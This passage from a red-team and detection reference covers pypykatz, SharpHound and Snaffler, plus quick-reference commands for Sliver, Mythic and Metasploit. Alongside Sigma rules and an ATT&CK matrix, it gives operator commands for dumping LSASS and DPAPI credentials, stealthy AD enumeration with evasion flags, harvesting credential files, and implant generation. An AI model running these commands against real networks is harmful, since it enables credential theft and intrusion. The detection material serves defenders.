**DPAPI Decryption Targets:**
- Chrome passwords and cookies
- Windows Credential Manager
- Windows Vault
- DPAPI-protected blobs
- Certificate private keys (PVK format)
- NGC (Next Generation Credentials) protectors
- CryptoAPI keys

### 4.6 Additional Capabilities

- **Registry** — SAM/SECURITY/SYSTEM hive parsing for local credentials
- **Kerberos** — Ticket extraction and export to ccache/kirbi format
- **LDAP** — Direct LDAP credential extraction
- **RDP** — RDP credential extraction
- **SMB** — Remote credential access
- **Token enumeration** — List/impersonate Windows tokens

### 4.7 Operator Workflow

```bash
# Parse LSASS minidump
pypykatz lsa minidump lsass.dmp

# Parse with JSON output
pypykatz lsa minidump lsass.dmp -o json > creds.json

# Extract Kerberos tickets
pypykatz lsa minidump lsass.dmp -k /output/tickets/

# Parse registry hives
pypykatz registry --sam SAM --system SYSTEM --security SECURITY

# DPAPI masterkey decryption
pypykatz dpapi prekey password <SID> <password>
pypykatz dpapi masterkey <masterkeyfile> <prekey>
pypykatz dpapi credential <credentialfile> <masterkey>
pypykatz dpapi blob <blob> <masterkey>

# Live LSASS parsing (on target Windows machine)
pypykatz live lsa

# Grep-friendly output format
pypykatz lsa minidump lsass.dmp --grep
# Format: packagename:domain:user:NT:LM:SHA1:masterkey:sha1_masterkey:key_guid:plaintext
```

### 4.8 pypykatz Detection Opportunities

| Indicator | Detection Method |
|-----------|-----------------|
| LSASS memory access | Sysmon Event 10 (ProcessAccess) with GrantedAccess 0x1010, 0x1FFFFF |
| LSASS minidump creation | Sysmon Event 11 for `.dmp` files + Event 10 for LSASS access |
| MiniDumpWriteDump call | API monitoring for `dbghelp.dll!MiniDumpWriteDump` |
| Handle duplication to LSASS | NtDuplicateObject monitoring with LSASS PID |
| SAM/SECURITY registry access | Registry access monitoring for `HKLM\SAM`, `HKLM\SECURITY` |
| Shadow copy for NTDS.dit | VSS events, `vssadmin` command monitoring |
| DPAPI masterkey file access | File access monitoring for `Microsoft\Protect\` paths |

---

## 5. SharpHound

**Source:** BloodHoundAD/SharpHound | Language: C# | License: GPLv3

### 5.1 Overview

SharpHound is the data collector for BloodHound, the Active Directory attack path analysis tool. It enumerates AD objects, permissions, sessions, and relationships, then outputs JSON data for BloodHound graph analysis.

### 5.2 Collection Methods

From `Options.cs`, SharpHound supports these collection methods:

| Method | What It Collects | Network Activity |
|--------|-----------------|------------------|
| **Group** | AD group memberships | LDAP queries only |
| **LocalAdmin** | Local admin group members on computers | SAM-R to each computer |
| **LocalGroup** | All local group members | SAM-R to each computer |
| **RDP** | Remote Desktop Users group | SAM-R to each computer |
| **DCOM** | Distributed COM Users group | SAM-R to each computer |
| **PSRemote** | PS Remoting group members | SAM-R to each computer |
| **Session** | Logged-on users via NetSessionEnum | NetSessionEnum to each computer |
| **LoggedOn** | Logged-on users via NetWkstaUserEnum | Privileged call to each computer |
| **Trusts** | Domain trust relationships | LDAP queries |
| **ACL** | Object ACLs/DACLs | LDAP queries |
| **Container** | OU/container structure | LDAP queries |
| **ObjectProps** | Object properties (description, etc.) | LDAP queries |
| **SPNTargets** | SPN-based attack paths | LDAP queries |
| **GPOLocalGroup** | Local group membership via GPO analysis | LDAP queries only |
| **UserRights** | User rights assignments | LSA calls to each computer |
| **CARegistry** | Certificate Authority registry config | Remote registry to CAs |
| **DCRegistry** | Domain Controller registry config | Remote registry to DCs |
| **CertServices** | AD Certificate Services enumeration | LDAP + RPC |
| **WebClientService** | WebClient service status | Service query to each computer |
| **LdapServices** | LDAP service configuration | LDAP queries |
| **SmbInfo** | SMB signing/version info | SMB to each computer |
| **NTLMRegistry** | NTLM configuration | Remote registry |
| **Default** | Group + Session + Trusts + ACL + ObjectProps + Container + SPNTargets + LocalAdmin + LocalGroup + CertServices | Mixed |
| **DCOnly** | Group + Trusts + ACL + ObjectProps + Container + SPNTargets + GPOLocalGroup + CertServices | LDAP only (stealthiest) |
| **All** | Everything | Maximum noise |

### 5.3 Stealth Mode

When `--stealth` is enabled (`Options.cs` lines 221-290), SharpHound modifies collection:
- **Removes:** LoggedOn, RDP, DCOM, PSRemote, LocalAdmin, CARegistry, DCRegistry, NTLMRegistry
- **Adds:** GPOLocalGroup (derives local group membership from GPO analysis instead of direct computer queries)
- Significantly reduces network footprint by avoiding per-computer enumeration
- **Recommendation:** Use `DCOnly` for maximum stealth when possible

### 5.4 Producer Architecture

**LdapProducer** — Default: queries AD via LDAP for all target objects, feeds them to processing pipeline

**StealthProducer** (`StealthProducer.cs`):
- Builds stealth targets before enumeration
- Only queries specific high-value targets (DCs, file servers, etc.)
- Uses `StealthContext` to track which computers to enumerate

**ComputerFileProducer** — Reads target computers from file instead of AD query

### 5.5 Key Options

```bash
# Standard collection
SharpHound.exe -c Default -d corp.local

# DCOnly (stealth - LDAP only, no computer queries)
SharpHound.exe -c DCOnly -d corp.local

# All collection methods
SharpHound.exe -c All -d corp.local

# Stealth mode
SharpHound.exe --stealth -c Default

# Loop collection (continuous session monitoring)
SharpHound.exe -c Session -l --loopduration 05:00:00 --loopinterval 00:05:00

# Custom LDAP filter
SharpHound.exe -c Default -f "(admincount=1)"

# Throttle and jitter (evasion)
SharpHound.exe -c Default --throttle 500 --jitter 20

# Search entire forest
SharpHound.exe -c Default -s

# Specific DC and output
SharpHound.exe -c All --domaincontroller dc01.corp.local --outputdirectory C:\temp --zipfilename data.zip

# Password-protected output
SharpHound.exe -c All --zippassword s3cret

# Memory-only cache (no disk writes for cache)
SharpHound.exe -c Default --memcache

# Random filenames for output
SharpHound.exe -c Default --randomfilenames

# Exclude DCs from session enum (for ATA/ATP evasion)
SharpHound.exe -c Default --excludedcs

# Skip port 445 check (faster but may timeout on unreachable hosts)
SharpHound.exe -c Default --skipportcheck
```

### 5.6 Output Data

SharpHound produces JSON files (typically zipped) containing:
- **Users** — Properties, group memberships, admin rights
- **Computers** — OS, sessions, local admins, services
- **Groups** — Members, nesting
- **Domains** — Trust relationships, policies
- **GPOs** — Linked OUs, settings
- **OUs** — Hierarchy, linked GPOs
- **Containers** — Object containment
- **CertTemplates** — AD CS template configurations

### 5.7 SharpHound Detection Opportunities

| Indicator | Detection Method |
|-----------|-----------------|
| LDAP queries for all objects with specific attribute sets | LDAP query monitoring (Event ID 1644 on DCs) |
| NetSessionEnum to many computers | Windows Event ID 4624 (logon type 3) + network audit |
| SAM-R queries to many computers | RPC monitoring, honeypot accounts |
| Rapid LDAP queries from single source | LDAP query rate analysis |
| BloodHound JSON structure in files/network | DLP rules for BloodHound JSON schema |
| `SharpHound` strings in memory | YARA rules, process memory scanning |
| SPN enumeration patterns | Kerberos ticket request monitoring (4769) |
| Mass computer enumeration | Event correlation for single source querying many targets |

---

## 6. Snaffler

**Source:** SnaffCon/Snaffler | Language: C# | License: GPLv3

### 6.1 Overview

Snaffler discovers credential material and sensitive files across Windows file shares in Active Directory environments. It discovers computers via AD, enumerates shares, walks directory trees, and applies classifier rules to identify interesting files.

### 6.2 Architecture

**Pipeline:**
```
AD Computer Discovery → Share Discovery → Directory Tree Walking → File Classification → Content Scanning
     (ShareThreads=30)    (TreeThreads=20)   (FileThreads=50)
```

**Thread Pools:**
- ShareThreads (30): Query computers for readable shares
- TreeThreads (20): Walk directory structures
- FileThreads (50): Classify files and scan contents
- Queue limits: Shares 20K, Trees 20K, Files 200K

### 6.3 Classifier Rule System

**Rule Structure (`ClassifierRule.cs`):**
```csharp
EnumerationScope    // When: ShareEnumeration, DirectoryEnumeration, FileEnumeration, ContentsEnumeration, PostMatch
MatchLocation       // Where: ShareName, FilePath, FileName, FileExtension, FileContentAsString, FileContentAsBytes, FileLength, FileMD5
MatchAction         // Then: Discard, SendToNextScope, Snaffle, Relay, CheckForKeys, EnterArchive
WordListType        // How: Exact, Contains, Regex, EndsWith, StartsWith
Triage              // Severity: Black (critical), Red (high), Yellow (medium), Green (low), Gray
WordList            // What: List of patterns to match
```

**Classifier Pipeline:**
1. **ShareClassifier** — Evaluate share names (skip IPC$, ADMIN$ usually)
2. **DirClassifier** — Evaluate directory names (skip Windows, Program Files, etc.)
3. **FileClassifier** — Match by extension, filename, path
4. **ContentClassifier** — Grep file contents for secrets
5. **PostMatchClassifier** — Additional analysis after initial match
6. **ArchiveClassifier** — Look inside ZIP/archive files

### 6.4 What Snaffler Finds

**By Extension (exact match, always interesting):**
- `.kdbx`, `.kdb` — KeePass databases
- `.ppk` — PuTTY private keys
- `.vmdk`, `.vhd`, `.vhdx` — Virtual disk images
- `.pfx`, `.p12`, `.pem` — Certificates and keys
- `.key` — Private keys
- `.rdg`, `.rdp` — RDP connection files
- `.jks` — Java keystores
- `.psafe3` — Password Safe databases

**By Filename (exact match):**
- `id_rsa`, `id_dsa`, `id_ecdsa`, `id_ed25519` — SSH private keys
- `shadow`, `passwd` — Unix credential files
- `NTDS.DIT`, `NTDS.dit` — AD database
- `SAM`, `SYSTEM`, `SECURITY` — Registry hives
- `web.config`, `appsettings.json` — Application configs
- `unattend.xml`, `sysprep.xml` — Windows deployment files
- `.htpasswd`, `.htaccess` — Apache auth files

**By Extension + Content Grep (sometimes interesting):**
- `.config`, `.xml`, `.json`, `.ini`, `.yaml`, `.yml`, `.toml`
- Content patterns: `connectionString`, `password`, `PRIVATE KEY`, `secret`, `credential`, `apikey`, `token`

**By Partial Filename (substring match):**
- `passw`, `handover`, `secret`, `secure`, `as-built`, `cred`, `login`
- Service account names: `sql`, `svc`, `service`, `backup`, `admin`, `MSOL`, `adsync`

### 6.5 Content Scanning

- Files up to `MaxSizeToGrep` (default 1MB) are read and searched
- Context bytes (default 200) shown around matches
- UltraSnaffler variant can parse Office docs (.docx, .xlsx, .pdf, etc.) to plaintext for searching
- Files matching rules can be automatically copied (`--snaffle` / `-m` flag) up to `MaxSizeToSnaffle` (default 10MB)

### 6.6 Discovery Methods

- **Default:** LDAP query for `(objectClass=computer)`, then SMB share enumeration per host
- **DFS Only (`-f`):** Only discover shares via Distributed File System — significantly stealthier
- **Computer targets:** Specify host list directly with `-n`
- **Path targets:** Skip all discovery, scan specific paths with `-i`
- **Domain user rules (`-u`):** Pull AD usernames, filter for service accounts, add to search rules
- SYSVOL and NETLOGON shares scanned by default
- Effective access checks performed to determine read/write/modify permissions

### 6.7 Operator Workflow

```bash
# Basic scan with stdout output
snaffler.exe -s -o snaffler.log

# DFS-only discovery (stealthier)
snaffler.exe -s -f -o snaffler.log

# Target specific hosts
snaffler.exe -s -n host1,host2,host3 -o results.log

# Higher interest level (fewer results, less noise)
snaffler.exe -s -b 2 -o results.log

# Auto-download found files
snaffler.exe -s -m C:\loot -l 5000000 -o results.log

# JSON output for parsing
snaffler.exe -s -t json -o results.json

# Custom rules directory
snaffler.exe -s -p C:\custom-rules\ -o results.log

# With domain user enumeration
snaffler.exe -s -u -o results.log

# Scan specific path only
snaffler.exe -s -i \\\\fileserver\\share -o results.log

# TSV output
snaffler.exe -s -y -o results.tsv
```

### 6.8 Custom Rule Example (TOML format)

```toml
[[ClassifierRules]]
EnumerationScope = "ContentsEnumeration"
RuleName = "KeepConfigRegexRed"
MatchAction = "Snaffle"
MatchLocation = "FileContentAsString"
WordListType = "Regex"
MatchLength = 0
Triage = "Red"
WordList = [
    "password\\s*=\\s*['\"]?[^\\s'\"]+",
    "connectionString.*password",
    "BEGIN (RSA |DSA |EC )?PRIVATE KEY",
    "aws_secret_access_key",
    "AKIA[0-9A-Z]{16}"
]
```

### 6.9 Snaffler Detection Opportunities

| Indicator | Detection Method |
|-----------|-----------------|
| Mass SMB share enumeration | SMB audit logs (Event 5140/5145) from single source |
| Rapid file access across many shares | File access audit (Event 4663) rate analysis |
| LDAP query for all computers | LDAP query monitoring |
| DFS namespace enumeration | DFS access logs |
| File download of sensitive extensions | DLP monitoring for .kdbx, .ppk, .pfx, etc. |
| `Snaffler` strings in process memory | YARA rules, process scanning |
| Known Snaffler user-agent or patterns | Network traffic analysis |

---

## 7. Cross-Tool Detection Matrix

### 7.1 Sigma Rule Templates

#### Detect LSASS Access (pypykatz, Mimikatz, credential dumping)
```yaml
title: Suspicious LSASS Process Access
id: 0d894093-71bc-43c3-8985-a3a51afe7eaf
status: experimental
description: Detects process access to LSASS with read permissions indicating credential dumping
logsource:
  category: process_access
  product: windows
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x1FFFFF'
      - '0x1F1FFF'
      - '0x1F3FFF'
  filter_system:
    SourceImage|startswith:
      - 'C:\Windows\System32\'
      - 'C:\Program Files\'
  condition: selection and not filter_system
falsepositives:
  - Legitimate security software performing memory scanning
  - Windows Defender performing periodic LSASS checks
level: high
tags:
  - attack.t1003.001
  - attack.credential_access
```

#### Detect Mass Share Enumeration (SharpHound, Snaffler)
```yaml
title: Mass SMB Share Enumeration
id: b7c6c3a8-1f89-4d5a-8c3e-2a1b4f6d8e9a
status: experimental
description: Detects a single source accessing file shares on many computers in short timeframe
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationPort: 445
  condition: selection | count(DestinationIp) by SourceIp > 50
  timeframe: 10m
falsepositives:
  - Vulnerability scanners
  - Backup systems
  - Systems management tools
level: medium
tags:
  - attack.t1135
  - attack.discovery
```

#### Detect EDR Unhooking (Sliver RefreshPE)
```yaml
title: Potential DLL Unhooking via File Read and Memory Write
id: c4d3e2f1-a0b9-4c8d-9e7f-6b5a4c3d2e1f
status: experimental
description: Detects reading system DLL from disk followed by VirtualProtect calls indicating EDR unhooking
logsource:
  category: process_access
  product: windows
detection:
  selection_file:
    TargetFilename|endswith:
      - '\ntdll.dll'
      - '\kernel32.dll'
      - '\kernelbase.dll'
  selection_api:
    CallTrace|contains: 'VirtualProtect'
  condition: selection_file or selection_api
falsepositives:
  - Application compatibility shims
  - Debugging tools
level: high
tags:
  - attack.t1562.001
  - attack.defense_evasion
```

#### Detect AMSI/ETW Patching (Sliver, generic)
```yaml
title: AMSI or ETW Provider Tampering
id: d5e4f3a2-b1c0-4d9e-8f7a-5c6b3d2e1f0a
status: experimental
description: Detects modification of AMSI or ETW functions in memory indicating bypass attempts
logsource:
  category: process_creation
  product: windows
detection:
  selection_amsi:
    CommandLine|contains:
      - 'AmsiScanBuffer'
      - 'amsi.dll'
      - 'AmsiInitialize'
  selection_etw:
    CommandLine|contains:
      - 'EtwEventWrite'
      - 'ntdll'
  condition: selection_amsi or selection_etw
falsepositives:
  - Security research tools
  - Legitimate AMSI provider management
level: high
tags:
  - attack.t1562.001
  - attack.defense_evasion
```

### 7.2 ATT&CK Technique Coverage

| Technique | Tools |
|-----------|-------|
| T1003.001 LSASS Memory | pypykatz, Metasploit (hashdump/kiwi), Sliver (nanodump BOF) |
| T1003.002 SAM | pypykatz (registry), Metasploit (hashdump) |
| T1003.003 NTDS | Metasploit (domain_hashdump), pypykatz |
| T1003.004 LSA Secrets | pypykatz (registry) |
| T1003.005 Cached Creds | Metasploit (cachedump), pypykatz |
| T1003.006 DCSync | Mimikatz via Sliver/Mythic/Metasploit |
| T1071.001 Web C2 | Sliver (HTTP/S), Mythic (HTTP profile), Metasploit (reverse_https) |
| T1071.004 DNS C2 | Sliver (DNS), Mythic (DNS profile) |
| T1055 Process Injection | Sliver (task_windows.go), Metasploit (migrate) |
| T1134 Token Manipulation | Metasploit (incognito/make_token), Mythic agents |
| T1135 Share Discovery | Snaffler, SharpHound |
| T1087 Account Discovery | SharpHound (all collection methods) |
| T1069 Group Discovery | SharpHound (Group, LocalGroup) |
| T1552.001 Files with Creds | Snaffler (all rules), Metasploit (enum_files) |
| T1552.004 Private Keys | Snaffler (.ppk, .pem, id_rsa rules) |
| T1562.001 Disable Security | Sliver (RefreshPE, AMSI patch, ETW patch) |
| T1572 Protocol Tunneling | Sliver (WireGuard, DNS tunnel), Metasploit (portfwd) |
| T1090 Proxy | Sliver (SOCKS5, pivots), Metasploit (autoroute) |
| T1021.002 SMB Lateral | Sliver (named pipe pivots), Metasploit (psexec) |
| T1573 Encrypted Channel | All C2 frameworks (mTLS, AES, ChaCha20) |
| T1059 Command Execution | All frameworks (shell, execute-assembly, BOF) |
| T1190 Exploit Public App | Metasploit (362 multi/http exploits) |

### 7.3 Kill Chain Integration

```
RECONNAISSANCE
├── Snaffler: File share discovery, credential hunting
├── SharpHound: AD relationship mapping, attack path analysis
├── Metasploit: Scanner modules (91 categories), vulnerability assessment
│
INITIAL ACCESS
├── Metasploit: 362+ HTTP exploits, client-side attacks, phishing payloads
├── Sliver: Stager generation (MSF-compatible staging protocol)
│
EXECUTION
├── Sliver: Execute-assembly, sideload DLL, BOF/COFF execution, shell
├── Mythic: Agent-specific command execution
├── Metasploit: Meterpreter commands, post modules
│
PERSISTENCE
├── Metasploit: persistence modules, scheduled tasks, services
├── Sliver: Implant persistence via stager or service wrapper
│
PRIVILEGE ESCALATION
├── Metasploit: 111 Windows local exploits, 89 Linux local exploits
├── Sliver: getsystem via execute-assembly
│
DEFENSE EVASION
├── Sliver: RefreshPE (DLL unhooking), AMSI bypass, ETW bypass, PPID spoofing
├── Sliver: Procedural HTTP C2, traffic encoders, DNS encoder selection
├── All: Encrypted channels (mTLS, AES256, ChaCha20Poly1305)
│
CREDENTIAL ACCESS
├── pypykatz: LSASS dump parsing (9 credential types), DPAPI chain
├── Metasploit: hashdump, kiwi, 80+ credential modules
├── Snaffler: Password files, config files, private keys on shares
│
DISCOVERY
├── SharpHound: Complete AD enumeration (24 collection methods)
├── Snaffler: File share content discovery
├── Metasploit: 91 scanner categories
│
LATERAL MOVEMENT
├── Sliver: TCP pivots, named pipe (SMB) pivots, session tunneling
├── Metasploit: psexec, wmi, winrm, ssh lateral movement
├── Mythic: Agent-specific lateral movement commands
│
COLLECTION
├── Snaffler: Automated file snatching with copy capability
├── All: File download, screenshot, keylogging
│
COMMAND AND CONTROL
├── Sliver: mTLS, WireGuard, HTTP(S), DNS — multi-protocol with failover
├── Mythic: Modular C2 profiles (HTTP, DNS, Websocket, custom)
├── Metasploit: reverse_tcp, reverse_https, bind_tcp, tunnels
│
EXFILTRATION
├── All: File download through C2 channel
├── Sliver: DNS tunnel for restricted networks
```

---

## Appendix A: Quick Reference Commands

### Sliver
```bash
# Implant generation
generate beacon --mtls x.com --http y.com --dns z.com --seconds 60 --jitter 30 --os windows --arch amd64
generate --mtls x.com --format shellcode --save ./
generate --named-pipe \\host\pipe\name  # SMB pivot

# Listeners
mtls / https / http / dns / wg

# Post-exploitation
execute-assembly, sideload, shell, upload, download, ps, netstat
portfwd add/rm, socks5 start/stop
pivots tcp/named-pipe
armory install <package>
```

### Mythic
```bash
sudo ./mythic-cli start
sudo ./mythic-cli install github <repo-url>
sudo ./mythic-cli build <service-name>
# All operations via web UI at https://<host>:7443
```

### Metasploit
```bash
msfconsole
search type:exploit platform:windows
use <module> / set <option> / exploit
msfvenom -p <payload> LHOST=x LPORT=y -f <format> -o <output>
sessions -i <id>
run post/windows/gather/credentials/domain_hashdump
```

### pypykatz
```bash
pypykatz lsa minidump lsass.dmp
pypykatz lsa minidump lsass.dmp -k /tickets/ -o json
pypykatz registry --sam SAM --system SYSTEM --security SECURITY
pypykatz dpapi prekey password <SID> <password>
pypykatz dpapi masterkey <file> <prekey>
```

### SharpHound
```bash
SharpHound.exe -c Default                    # Standard
SharpHound.exe -c DCOnly                     # Stealth
SharpHound.exe -c All --stealth              # All with stealth modifications
SharpHound.exe -c Session -l                 # Loop sessions
SharpHound.exe --throttle 500 --jitter 20    # Evasion timing
```

### Snaffler
```bash
snaffler.exe -s -o results.log               # Basic
snaffler.exe -s -f -o results.log            # DFS-only (stealth)
snaffler.exe -s -m C:\loot -o results.log    # Auto-download
snaffler.exe -s -b 2 -o results.log          # High interest only
snaffler.exe -s -u -o results.log            # With user enumeration
```

---

*Document generated from source code analysis. All technical details verified against actual implementation.*
